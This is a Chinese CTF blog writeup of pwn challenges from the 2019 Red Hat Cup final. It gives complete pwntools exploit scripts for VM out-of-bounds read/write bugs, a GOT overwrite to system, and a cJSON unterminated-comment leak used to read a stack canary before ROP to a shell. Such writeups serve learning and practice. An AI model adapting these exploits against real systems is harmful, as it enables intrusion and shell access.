2019 红帽杯决赛 pwn 题 writeup

前言

这次比赛的赛制和今年国赛的赛制一样. 名为攻防, 实为解题. 不过和常规解题相比加了个罚时规则, 越早解出题拿到的分就越多. 所以解题速度很关键.

但是感觉这次比赛的题目就是为攻防比赛出的: 4个pwn 题三个虚拟机, 需要做较多的逆向工作, 然而我逆向还是太菜了, 最后只解出了其中两个题, 还有个题有思路了但是时间来不及了, 很可惜.

比赛结束之后把其中三个题又都做了一遍, 整理一下水篇博客

粤湾中心 (RHVM)

一个虚拟机题, 指令集比较简单, 在 rm_mov(从内存mov到寄存器) 和 mr_mov 的实现中都有漏洞, 可以导致越界读写.

题目开始会打开flag 文件, 并把文件描述符 dup 到 0x233. 还有个seccomp 禁用了 execve 系统调用, 感觉就是用来误导人的, 没啥用.

题目执行完指令之后会有个读取姓名(用的scanf)再输出的过程.

所以思路很清晰. 直要能够将 stdin->fileno 改成 0x233 即可拿到flag.

利用上面的两个漏洞很容易做到

exp 如下

from pwn import *
import time
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "RHVM.bin"

LOCAL = 1 if len(sys.argv)==1 else 0

elf = ELF(filename)

io = process("./"+filename)
libc = elf.libc

def play( eip, esp, size, code, interval=0.3):
    io.sendlineafter( "EIP", str(eip))
    io.sendlineafter( "ESP", str(esp))
    io.sendlineafter( "length", str(size))
    io.recvuntil( "Give me code: ")
    for c in code:
        io.sendline(c)
        time.sleep(interval)


def encode(func, dst, src):
    return str(u64(chr(src)+chr(dst)+p32(func)+"\x00\x00"))

def push_reg(idx):
    return encode(0x70, idx, idx)

def rr_mul(dst, src):
    return encode(0xc0, dst, src)

def shl(dst_reg, val_reg):
    return encode(0xe0, dst_reg, val_reg)

def shr(dst_reg, val_reg):
    return encode(0xf0, dst_reg, val_reg)

def rr_sub(dst, src):
    return encode(0xd0, dst, src)

def rr_add(dst, src):
    return encode(0xa0, dst, src)

def rr_div(dst, src):
    return encode(0xb0, dst, src)

def pop_reg(idx):
    return encode(0x80, idx, idx)

def mr_mov(addr_reg, val_reg):
    return encode(0x41, addr_reg, val_reg)

def jmp_offset(off_reg):
    return encode(0x50, off_reg, off_reg)

def info_regs(s=""):
    print(s) if s!= "" else 0
    return encode(0x60, 0, 0)

def rm_mov(dst_idx_reg, addr_reg):
    return encode(0x42, dst_idx_reg, addr_reg)

def rr_or(dst, src):
    return encode(0x20, dst, src)

def ri_mov(dst_reg, imm):
    return encode(0x40, dst_reg, imm)

def rr_xor(dst, src):
    return encode(0x10, dst, src)

stdin = 0x30
g_stack = 0x58
g_regs = 0x60
g_mem = 0x80
fileno_off = 112

codes = []

context.log_level = "info"
#### 1. mov addr of stdin to  reg[0](low 4 byte)
# (0x30-0x80)/4 = -20
codes.append(ri_mov(5, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5))
codes.append(rr_sub(4, 5) ) # now r4 = -20
codes.append(rm_mov(0, 4) ) # now low byte of stdin in r0


#### 2. modidy g_stack's low 4 byte as stdin's addr
# (0x58-0x80)/4 = -10
codes.append(rr_sub(6, 5))
codes.append(rr_sub(6, 5)) # r6 = -10
codes.append(mr_mov(6, 0)) # g_stack's low 4 byte 

"""
r0: f7dd1950
r1: 0
r2: 70
r3: 4
r4: ffffffec
r5: 5
r6: fffffff6
r7: 0
EIP: d
ESP: 4
"""

#### 3. modify g_stack's high 4 bytes  g_regs[-1] = g_mem(-19)
codes.append(ri_mov(7, 1))
codes.append(rr_sub(1, 7)) # r0 = -1
codes.append(rr_add(4, 7)) # r4 = -19
codes.append(rm_mov(1, 4))

# codes.append(info_regs())
"""
r0: f7dd18e0
r1: ffffffff
r2: 0
r3: 0
r4: ffffffed
r5: 5
r6: fffffff6
r7: 1
EIP: d    
"""


#### 4. mov 0x233 to  reg [2]
# 0x233 = 0b11 | (0b11 << 4) | (0b1 << 9)
codes.append(ri_mov(3, 4)) # r3 = 4
codes.append(ri_mov(0, 0b11))
codes.append(shl(0, 3)) # r0 = 0b11 << 4
codes.append(ri_mov(1, 0b11))
codes.append(rr_or(0, 1)) # r0 = 0b11 | (0b11 << 4)
codes.append(rr_add(5, 3)) # r5 = 9
codes.append(shl(7, 5)) # r7 = 0b1 << 9
codes.append(rr_or(0, 7)) # r0 = 0b1 | (0b1 << 9) | (0b1 << 9) = 0x233

codes.append(info_regs())

#### 5. push reg[2]
codes.append(push_reg(0))

play( 0, (112-4)/4, len(codes), codes, 0.1)
io.interactive()

这题最后40分钟开始看, 实在来不及做了

粤湾银行 (vm2)

这个虚拟机比第一个复杂些, 是变长指令, 指令数也很多.

这个虚拟机是用一个 int regs[6] 数组表示寄存器的, 在读写寄存器的操作时没有校验导致可以越界写修改后面的 栈的地址, 进而绕过 计算地址时的校验, 可以实现任意地址读写的效果. 直接把 free@got 改成 system 地址即可

虚拟机结构体如下

00000000 cpu             struc ; (sizeof=0x2C, mappedto_5)
00000000 regs            dd 6 dup(?)
00000018 _esp            dd ?
0000001C end2            dd ?
00000020 _ip             dd ?                    ; offset
00000024 flags           dd ?
00000028 stack           dd ?
0000002C cpu             ends

exp 如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'i386', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "./pwn"
ip = ""
port = 0

LOCAL = True if len(sys.argv)==1 else False


elf = ELF(filename)

remote_libc = "remote_libc"
if LOCAL:
    io = process(filename)
    libc = elf.libc

else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)



def lg(name, val):
    log.info(name+" : "+hex(val))


def choice( idx):
    io.sendlineafter( ".exit\n>>> ", str(idx))

def new_game( code):
    choice( 1)
    time.sleep(0.3)
    io.send( code)

def play(p):
    choice( 2)


def ri_op(op):
    def decorator(func):
        def wrapper(*args, **kwargs):
            def f(idx, imm):
                return chr(op)+chr(idx)+p32(imm)
            return f(*args, **kwargs)
        return wrapper
    return decorator

def rr_op(op):
    def decorator(func):
        def wrapper(*args, **kwargs):
            def f(dst, src):
                return chr(op)+chr(dst)+chr(src)
            return f(*args, **kwargs)
        return wrapper
    return decorator



def push_imm(imm):
    return "\x73"+p32(imm)

def push_reg(idx):
    return "\x70"+chr(idx)

def dec(idx):
    return"\x30"+chr(idx)

@ri_op(0x53)
def ri_sub(idx, imm):
    pass

@rr_op(0x50)
def rr_sub(dst, src):
    pass

@ri_op(0x63)
def ri_mul(dst, imm):
    pass

@rr_op(0x60)
def rr_mul(dst, src):
    pass

@ri_op(0x43)
def ri_add(dst, imm):
    pass

@rr_op(0x40)
def rr_add(dst, src):
    pass

def putchar():
    return "\x10\x01"

def getchar():
    return "\x10\x00"

def inc(dst):
    return "\x20"+chr(dst)

def rm_mov(dst, base_reg, offset):
    return "\x01"+chr(dst)+chr(base_reg)+chr(offset)

def mr_mov(base_reg, offset, src):
    return "\x02"+chr(base_reg)+chr(offset)+chr(src)

def mi_mov(base_reg, offset, imm):
    return "\x04"+chr(base_reg)+chr(offset)+p32(imm)

def ri_mov(dst, imm):
    return "\x03"+chr(dst)+p32(imm)

def rr_mov(dst, src):
    return "\x00"+chr(dst)+chr(src)

def pop(dst):
    return "\x80"+chr(dst)

def ret():
    return "\xb0"


libc.address = 0
read_off = libc.symbols['read']
system_off = libc.symbols['system']
binsh_off = next(libc.search("/bin/sh\0"))
'''
00000000 cpu             struc ; (sizeof=0x2C, mappedto_5)
00000000 regs            dd 6 dup(?)
00000018 _esp            dd ?
0000001C end2            dd ?
00000020 _ip             dd ?                    ; offset
00000024 flags           dd ?
00000028 stack           dd ?
0000002C cpu             ends
'''

got_start = 0x0804B000
got_read =  0x0804B010
got_free =  0x0804B018

p1 = ri_mov(0x28/4, got_start) #cpu->stack  = got_start
p1 += ri_mov(3, got_read)
p1 += rm_mov(0, 3, 0)
p1 += ri_mov(1, read_off)
p1 += rr_sub(0, 1)  # libc base in r0
p1 += ri_mov(1, system_off)
p1 += rr_add(1, 0) # system addr in r1
p1 += ri_mov(2, got_free)
p1 += mr_mov(2, 0, 1) # got.free = system
p1 += ri_mov(3, binsh_off)
p1 += rr_add(3, 0) # binsh addr in r3
p1 += rr_mov(0x28/4, 3)
p1 += "\xb0"

new_game( p1)
play(io)
choice( "3")
io.interactive()

attack and defense (粤湾证券)

这题貌似和 今年的 xctf final 差不多. 用来解题就是浪费.......

直接执行 system("/bin/sh") 就行了

from pwn import *
import base64

io = process("./pwn")
io.recvuntil("gift:")
libc = int(io.recv(14),16)
print "libc:" + hex(libc)

code = p64(16) + p64(0) + p64(libc + 0x1B3E9A) + p64(64) + "system\x00\x00"

code = base64.b64encode(code)
io.recvuntil("Give me code:")
io.send(code)
io.interactive()

mislead (粤湾保险)

这题在 create 功能里有一个栈溢出很明显, 但是不知道怎么泄露 canary. 看了官方的wp [1] 才知道是用到了 cJson 的一个 CVE [2].

拿到题目发现运行需要 jemalloc.so, 以为是 jemalloc 有关的堆题, 就直接放弃了. 没想到和堆 一点关系都没有.

cJson 的这个漏洞是因为处理 多行注释的时候没有考虑注释不闭合的情况, 可以导致越界读, 具体细节参考issue 338 [2] . 本题中可以用来leak canary. 有了canary之后就是常规的rop.

exp 如下

from pwn import *
from time import sleep
import sys

global io

context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

filename = "mislead"
ip = ""
port = 0

LOCAL = True if len(sys.argv)==1 else False


elf = ELF(filename)

remote_libc = "remote_libc"
if LOCAL:

    io = process("./" + filename, env={'LD_PRELOAD': "./libjemalloc.so.2"}) 
    libc = elf.libc
else:
    context.log_level = 'debug'
    io = remote(ip, port)
    libc = ELF(remote_libc)



def lg(name, val):
    log.info(name+" : "+hex(val))


def minify( size, json_str):
    io.sendlineafter( "Wanna mislead me?(-1/0/1)", '1')
    io.sendlineafter( "Len:", str(size))
    io.sendafter( "Str:", json_str)

def create( id, data):
    io.sendlineafter( "Wanna mislead me?(-1/0/1)", '1')
    io.sendlineafter( "Len:", "256")
    io.sendafter( "Create json's id:", id)
    io.sendafter( "Create json's data:", data)

# https://github.com/DaveGamble/cJSON/issues/338
minify( 0x27, "/*".ljust(0x27, "a"))
io.recvuntil( "RAW DATA:")
canary = u64("\x00"+io.recv( 7))
lg("canary", canary)

io.sendline( "")

PRdiR = 0x0000000000405f03
got_read = 0x00607FC0 
plt_puts = 0x00401027

vuln = 0x00400D7B

bss = 0x608000 # - 0x609000
p1 = fit({
    0x808:p64(canary),
    0x810:p64(bss+0x100),
    0x818:(p64(PRdiR)+
        p64(got_read)+
        p64(plt_puts)
    )
}, filler="a")

create( 'pu1p\n', p1+'\n')
io.recvuntil( "}")
read_addr = u64(io.recv( 6)+"\x00\x00")
libc.address = read_addr - libc.symbols['read']
lg("read_addr", read_addr)
lg("libc base", libc.address)

system_addr = libc.symbols['system']
binsh_addr = next(libc.search("/bin/sh\0"))

p2 = fit({
    0x808:p64(canary),
    0x810:p64(bss+0x100),
    0x818:(p64(PRdiR)+
        p64(binsh_addr)+
        p64(system_addr)
    )
}, filler="b")

io.sendafter( "Create json's id:", "pu1p\n")
io.sendafter( "Create json's data:", p2+'\n')

io.interactive()

总结

复现完就发现题目其实都不是很难, 并没有触及知识盲区.

逆向水平还是太菜了, 平时需要多练练

参考

[1] http://blog.gdcert.com.cn/forum.php?mod=viewthread&tid=26&extra=page%3D1

[2] https://github.com/DaveGamble/cJSON/issues/338

你可能感兴趣的:(2019 红帽杯决赛 pwn 题 writeup)